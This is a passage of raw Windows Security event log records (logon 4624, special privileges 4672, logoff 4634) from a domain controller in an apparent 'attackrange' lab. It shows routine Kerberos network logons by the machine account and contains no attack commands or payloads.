ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248481
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB6357
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63931

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248480
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6357

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248479
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB62E4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248478
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB62E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63930

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248477
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB62E4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248476
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6268

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248475
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB6268
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63929

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248474
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6268

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248473
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB61F6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248472
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB61F6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63928

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248471
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB61F6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248494
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB773A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248493
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB773A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63935

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248492
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB773A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248491
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB76CB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248490
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB76CB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63934

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248489
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB76CB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248488
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7657

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248487
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB7657
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63933

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248486
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7657

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248485
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB75E8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248484
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB75E8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63932

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248483
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB75E8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248506
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8662

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248505
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8662
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63939

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248504
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8662

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248503
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8605

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248502
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8605
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63938

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

